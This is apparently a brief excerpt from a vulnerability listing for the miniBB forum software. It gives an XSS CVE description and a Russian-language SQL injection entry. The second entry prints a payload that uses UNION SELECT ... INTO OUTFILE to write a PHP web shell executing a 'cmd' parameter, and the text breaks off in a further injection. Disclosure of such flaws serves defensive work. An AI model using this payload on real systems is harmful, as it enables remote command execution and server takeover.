CVE-2008-2024: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in index.php in miniBB 2.2, and possibly earlier, when registerglobals is enabled, allows remote attackers to inject arbitrary web script or HTML via the glang parameter in a registernew action...

SQL Injection: miniBB 2.0 RC6b

SQL Injection GET Не фильтруется параметр confirmCode. /index.php?action=confirmpasswd&confirmCode=f' union select '? passthru$GETcmd ?' from mysql.user INTO OUTFILE '/var/www/html/shell.php'/ Не фильтруется параметр post. /index.php?action=delmsg&post=1' union select 1,1 from mysql.user INTO...